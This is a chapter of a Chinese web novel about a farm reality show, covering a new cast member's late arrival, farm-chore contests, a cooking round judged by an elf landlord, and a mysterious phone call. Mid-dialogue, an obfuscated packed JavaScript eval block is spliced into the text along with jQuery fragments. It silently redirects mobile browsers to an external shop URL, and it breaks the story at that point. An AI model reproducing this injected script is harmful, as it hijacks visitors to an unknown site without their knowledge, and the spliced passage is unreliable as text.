车是十一点到的。
两束车灯从山道上扫过来,晃得院门口的大黄"嗷"一声钻到陆清槐腿后面。橘座蹲在墙头上,瞳孔缩成两条竖线。
车门开了。
先下来一只粉色行李箱——不,是三只,一只比一只大,最后那只轮子卡在石头缝里,被人生生拽了出来。然后人才探出头:齐肩短发,卫衣帽子扣在头上,口罩黑框眼镜,只露出一双眼睛扫了一圈院子。
"这就是蘑菇屋?"
监视器后面传来苏晚的声音:"我们节目叫《山间的日子》。"
"啊对,"那人摘下口罩,露出一张素脸,巴掌大,笑起来两颗虎牙,"我太紧张了,在车上彩排了一路开场白。"
方驰揉着眼睛从屋里出来,看见她愣了两秒:"温以宁?"
"方驰!"女生手一指,"你前年欠我的那顿火锅什么时候还?"
"我什么时候欠你——"
"录《星运会》射箭赢了我,说请我吃火锅,然后你经纪人把你拽走了!"
方驰张了张嘴,记忆在回笼。"那是节目效果——"
"我不管,我记了两年。"
周建国披着外套出来,沈眉端着杯水站在门口。宋可靠在门框上抱胳膊笑:"你们认识?"
"比过赛,"方驰一脸生无可恋,"她射箭脱靶射中摄像机,赖我站旁边影响她。"
"你在我旁边喊'中了中了'!我以为中了!"
"我那是加油——"
陆清槐站在台阶上,看着两个人在深夜的院门口吵起了两年前的旧账。大黄从他腿后面探出头,橘座从墙头跳下来绕着粉色行李箱闻了一圈,打了个喷嚏。
"先让人家进来。"沈眉开口。
温以宁这才注意到站在台阶上的陆清槐。
她抬头。
他低头。
月光从槐树叶子里漏下来,落在他脸上。
安静了两秒。
"……导演,"温以宁转头,声音压得很低但所有人都听见了,"你们节目素人颜值都这个水准吗?"
小赵没忍住"噗"了一声。
"陆清槐,房东,"方驰介绍,语气里带着一种"等着被震吧"的得意,"会种菜会做饭会弹吉他会射箭——"
"你报菜名呢?"温以宁瞥他一眼,冲陆清槐伸出手,"你好,我是温以宁,特别能吃。"
陆清槐看了一眼她伸出的手,又看了一眼身后三只箱子。
"箱子里是什么?"
"零食。"
"三箱?"
"经纪人只让带三箱,这算少的。"
他点头,伸手帮她把卡在石缝里的那只拎起来。箱子比想的沉,他晃了一下。
"这里面?"
"自热火锅,二十盒。"
"……"
大家本来都准备睡了。但温以宁说她高铁上只吃了一桶泡面——"那个盒饭四十五,肉三片"——沈眉心软,去灶屋热了下午剩的番茄炒蛋和馒头。
她坐在石磨旁,一口菜一口馒头,吃到第二盘时宋可忍不住了:"你电话里不是说减肥吗?"
"少油少盐是明天的事,"温以宁嘴里塞着馒头,"今天的我已经很辛苦了。"
"你辛苦什么了?"
"六小时高铁加两小时山路,"她理直气壮,"弯道我吐了两回。"
方驰在旁边幸灾乐祸:"你也有今天。"
"你闭嘴,火锅还没还。"
陆清槐站在灶屋门口看她吃完第三盘,忽然问:"佛跳墙,真想吃还是说着玩的?"
温以宁放下筷子,表情难得有点不好意思:"那个……我队友跟我打赌,说我要是敢在电话里点佛跳墙,她们这个月叫我爸爸。"
"所以你是为了当爸爸。"
"……你总结得好精准。"
她认真地看着他:"但番茄炒蛋是真好吃。比公司食堂好吃一百倍。你放了什么?"
"什么都没放。"
"不可能——"
"番茄地里的,鸡蛋王婶家的,"宋可替他答,"他就这套回答,别问了,问就是'菜好'。"
温以宁看着陆清槐,缓缓竖起大拇指。
"高手。"
第二天早上七点,黑板变了。
陆清槐是被外面的哀嚎吵醒的。方驰的声音大到把橘座从枕头边弹了起来。
他穿衣服出门,看见黑板上贴了张红纸,苏晚的字:
【今日任务:食材争夺战】
上午完成三项农活挑战,第一名优先选择午餐食材。
最后一名洗碗,洗一周。
——节目组
方驰蹲在黑板前双手抱头:"洗碗一周?我上次碎了三个盘子,苏晚说再碰就扣劳务费——"
"那就别当最后一名。"江苓端着牙杯路过。
"怎么可能不是我?!"
陶陶凑过来念:"第一项,摘菜比赛,十分钟,按净重排名,踩菜苗扣重,摘没熟的扣重……第二项,生火挑战,土灶十五分钟内烧开水……第三项……"
她顿了一下。
"第三项是什么?"方驰抬头。
"烹饪环节,自选食材做一道菜,由房东评分。"
六个人的目光齐刷刷转向陆清槐。
他正蹲在菜地边看番茄,感觉到视线,抬头:"看我干什么?"
"你是评委。"宋可笑。
"我不当。"
"苏导写了,你不当就没你那份肉。"方驰指了指黑板角落一行小字。
他看过去。
小字:"评委(陆清槐)参与评分即可获得五花肉两斤。"
他站起来拍了拍手上的土。
"评委坐哪?"
全院子笑。温以宁刚揉着眼睛出客房,听见这句差点被台阶绊倒。
第一项:摘菜。
规则:每人一个竹筐,十分钟,指定区域内摘菜,不能踩苗,不能摘生的,违规扣重。
小赵举秒表:"各就位——开始!"
六个人进了菜地。
周建国不紧不慢,一看就是干过活的,专挑成熟的黄瓜番茄,手稳准狠。沈眉速度不快但利落,一根黄瓜从藤上下来两秒。陶陶认真得脸通红,蹲在地上挨个看,质量最高。
江苓换了雨靴但弯腰明显不情愿,摘根黄瓜先找虫——"这有虫眼!这也有!你们菜怎么不打农药——"
方驰走另一个极端:什么都往筐里塞,青番茄、小黄瓜、带泥的半根萝卜——"别挑了来不及了!"
温以宁最夸张。
她一进菜地像开了倍速,两只手同时开工,左边拽黄瓜右边扯番茄,快出残影。问题是不分生熟,也不管是菜还是草,所过之处一片狼藉,跟蝗虫过境似的。
"温以宁!"陆清槐站在田埂上,声音第一次提高,"那个没熟!"
"哪个?"
"你手里那个——青的!"
"青的不是青椒吗?"
"那是番茄!"
"啊?"她低头看手里那颗青绿色果子,"番茄不是红的吗?"
"红的是熟了的!你见过番茄长出来就是红的?"
温以宁沉默两秒,把青番茄默默放回藤上。
十秒后方驰惨叫:"温以宁你踩我筐了!!"
"对不起对不起——"她一后退,脚后跟踩进方驰筐里,半筐黄瓜滚了一地。
小赵在监视器后面笑得直拍桌子。
时间到。
称重:周建国第一,沈眉第二,陶陶第三,江苓第四,温以宁第五,方驰第六。
方驰不服:"她踩了我的筐!黄瓜至少少两斤!"
"你筐里一半是草和石头,"小赵翻记录,"扣完重,方驰净重一斤三两。"
"不可能!"
"其中半根萝卜是你拔断的,泥没甩干净,泥占了四两。"
方驰又蹲回了地上,姿势跟早上一模一样。
温以宁安慰他:"别难过,我也没好到哪去——"
"你摘了三斤青番茄和一筐草!"
"但我速度快啊!"
陆清槐蹲在她那筐"战利品"旁边,看着青番茄、杂草和两根被连根拔起的小白菜,沉默很久。
"你昨天不是说阳台种番茄要授粉吗?"他抬头看宋可。
"嗯。"
"她去阳台种,花盆都得死。"
宋可笑到蹲地上。温以宁捂脸:"我以后再也不吹自己是农村综艺担当了。"
"你什么时候吹过?"方驰抬头。
"经纪人给我买的热搜。"
第二项:生火。
方驰有信心——他在这个灶前生过不下二十回火,虽然成功次数屈指可数,但经验丰富。
"看好了,"他蹲下来把柴火架成三角形,"引火用细的,先点纸——"
火柴划着,伸进灶膛。火苗舔了一下纸,灭了。
"风大。"他面无表情。
第二根。纸烧着了,引燃细树枝,方驰小心加柴——火起来了!
"看到没!"他得意抬头。
一抬头,吹了口气。
火灭了。
院子安静了三秒。
温以宁笑得直拍大腿:"你是来灭火的吗?!"
"你来!"方驰让开。
温以宁蹲下来架势十足,把柴火全掏出来重架——架得太紧,密不透风。火柴点了五根,纸烧光了,柴火连黑都没黑。
"你这架得跟砌墙似的,"周建国看了两分钟看不下去了,"火要空心,人要忠心。柴之间得留缝,氧气进不去烧什么?"
他走过来三两下重架,中间空出一个拳头大的洞,塞一把干草,火柴一落——"轰"地火苗稳稳起来。
"学着点。"周建国拍手。
水开时苏晚看计时:"周老师四分二十秒。方驰、温以宁,你们俩加起来二十三分钟,火灭了四回。"
"我那是策略,"方驰嘴硬,"在测试不同柴火排列的燃烧效率。"
"测出来什么?"
"……吹口气火会灭。"
第三项:烹饪。
用前两轮的食材做一道菜,陆清槐评分。第一优先选肉——五花肉、排骨、鸡块三选一。
周建国凉拌黄瓜,刀工扎实。沈眉番茄蛋汤,清爽。陶陶清炒小白菜,盐多了一点但不影响。江苓做了盘水果沙拉。
"这算菜吗?"
"我只会这个。"
温以宁端出一盘看不出是什么的东西。青番茄切片打了俩鸡蛋搅一起炒,颜色发黑,盘边还有焦痕。
"青番茄炒蛋,"她一脸期待,"尝尝?"
陆清槐看了一眼菜,又看了一眼她。
"青番茄有龙葵素,没熟的吃了会恶心呕吐。"
温以宁脸瞬间白了:"我刚才拌的时候尝了一口——"
"多少?"
"一小片……"
"那没事,顶多拉半天。"
温以宁蹲地上双手抱头。方驰在旁边幸灾乐祸,被宋可弹了个脑瓜崩。
最后轮到方驰。他端着盘子走过来,表情庄重得像颁奖。
"这是什么?"陆清槐看着盘子里一坨黄褐色糊状物。
"鸡蛋羹。"
"鸡蛋羹不是这个颜色。"
"我放了酱油。"
"鸡蛋羹不放酱油。"
"还放了香油。"
"……"
他拿勺子舀了一口,嚼了两下。
全场屏息。
"怎么样?"方驰声音都变了。
陆清槐放下勺子,喝了口水,看着他。
"你以后离灶台远点。"
全院子笑到崩溃。温以宁蹲地上起不来,陶陶扶着槐树咳嗽,江苓笑出眼泪。小赵在监视器后面已经笑不出声,只剩肩膀抖。
最终:沈眉第一选排骨,周建国第二选五花肉,陶陶第三选鸡块。方驰和温以宁并列倒数第一,共享洗碗一周。
"我不服
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17916298|213330||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,"方驰蹲在灶屋门口,面前堆了十二个人的碗,"她那盘菜有毒,该取消资格。"
"但评委没倒,"温以宁在旁边有气无力地洗碗,"说明你的蛋羹比青番茄可怕。"
"你那是化学武器!"
"你那是生化危机!"
陆清槐从灶屋路过,看了眼拌嘴的两人和堆成山的碗。
"洗洁精在第三个柜子。"
"知道了——"两人异口同声,然后同时瞪对方。
下午,黑板换了一行字:
【下午自由活动。明天初五,早起赶集。】
"赶集?"温以宁眼睛亮了。
"逢五逢十镇上集市,"宋可解释,"清槐每隔几天去卖菜。"
"我也去!"
"你去干嘛?"方驰问。
"吃啊!煎饼果子烤肠炸串——"
"你不是刚吃完午饭?"
"午饭两小时前的事了。"
陆清槐正给番茄绑蔓,听见"赶集"手上顿了一下。他直起腰看了看天。
"明天初五。"
"对啊,"陶陶说,"清槐哥哥你每次都去嘛。"
"嗯。"
他低头看了看自己的手,指甲缝里还有泥,指尖被番茄汁染绿。
"这次人多。"
"什么?"
"以前我一个人卖,二十分钟卖完。明天——"他想了想,"可能不够卖。"
陶陶眨了眨眼,兴奋起来:"那我们多种点!"
"菜一天长不出来。"
"那怎么办?"
"早点起,多摘点。"他说,"还有——方驰别摘。"
"我听见了!!"
傍晚,温以宁贡献了三盒自热火锅。
院子里摆了六个自热包,白烟咕嘟咕嘟冒。她又从箱子里掏出一袋鸭脖、两包薯片、一盒巧克力、半包牛肉干——"真的只带了三箱,这些十分之一。"
沈眉看着那堆零食表情复杂:"你经纪人知道?"
"知道啊,"温以宁撕鸭脖,"她说只要不被拍到吃冰淇淋,其他随便。"
"为什么冰淇淋不行?"
"上次被拍到吃冰淇淋,热搜挂一天,话题#温以宁又偷吃#,粉丝在我微博底下刷了三千条'姐姐你看看你的腹肌'。"
"你有腹肌?"方驰凑过来。
温以宁撩起卫衣一角——还真有,四块轮廓分明。
"看到没?吃出来的。"
"吃能吃出腹肌?"
"我每天跳舞四小时,不吃哪来的力气。"
宋可在旁边点头:"她们团主舞,体力消耗大。"
陆清槐蹲在旁边看自热火锅冒白烟,伸手想碰盒子,被沈眉拍手背:"烫。"
他缩回手继续蹲。
"这个为什么自己会热?"
"石灰,"温以宁嘴里塞着鸭脖,"加水就发热。"
"石灰遇水确实放热。"他盯着盒子,"但你们拿这个煮东西?"
"方便啊,十五分钟。"
他沉默两秒,站起来往灶屋走。
"干嘛去?"
"烧壶水。"
"你不是不喝热水吗?"
"泡个面。"
院子安静了一秒。温以宁第一个反应过来:"你也吃泡面?!"
"陈伯柜子里有两包,"他头也不回,"我看了很久了。"
那天晚上,灶屋门口蹲着两个人。一个是八百岁的精灵,一个是二十四岁的女团主舞,中间放着一桶红烧牛肉面,两个人一起盯着秒表等三分钟。
"其实泡两分钟也能吃,"温以宁以资深人士的口吻说,"面更筋道。"
"包装上说三分钟。"
"包装是给普通人看的。"
"……你赢了。"
方驰远远地蹲在洗碗堆旁边,嘴里含着半根鸭脖,看着那两个人的背影,忽然觉得自己好像被排除在了什么圈子之外。
宋可靠在门框上,掏出手机拍了一张。她想了想,没发朋友圈,但把照片发给了经纪人,附了一行字:
"这节目要爆。"
夜深了。
陆清槐躺在床上,橘座团在旁边。窗外虫鸣,远处溪水。
他翻了个身。
脑子里全是石灰遇水放热。八百年了,精灵王庭没有这种东西。人类在"吃"这件事上,有一种不讲道理的创造力。
明天早起赶集。菜要提前摘,筐要准备,现金够不够找零——
还有,泡面的味道,确实还不错。
他刚要睡着,院门口传来"叮铃铃"的声音。
座机。
他睁开眼。橘座已经抬起了头。
屋子里其他人都睡熟了。他披衣出门,月光把院子照得发白。红色座机在黑板旁边,响一声停一下,像在催命。
他拿起听筒。
"喂?"
对面安静了一秒,然后是个男声,低,带着点笑意。
"我要点菜。"
陆清槐靠在黑板上,打了个哈欠。
"点什么。"
"满汉全席。"
他看了一眼灶屋的方向,又看了一眼菜地。
"没有。"
"那有什么?"
"白菜萝卜番茄黄瓜鸡蛋。"
对面笑了一声。
"行,那你随便做。我不挑。"
"你哪位?"
"明天到了你们就知道了。"
电话挂了。
陆清槐拿着听筒站了两秒,挂回去。月光下他低头看了一眼那部红色的转盘电话,转盘在夜风里轻轻晃了一下。
他转身回屋。
经过黑板时,他顺手把"明天初五,早起赶集"那行字下面,用粉笔添了两个字:
"有客。 "
墙头上,橘座蹲着,尾巴一甩一甩,盯着山道的方向。
这回路灯光没有亮。
但远处有鸡叫了。天快亮了。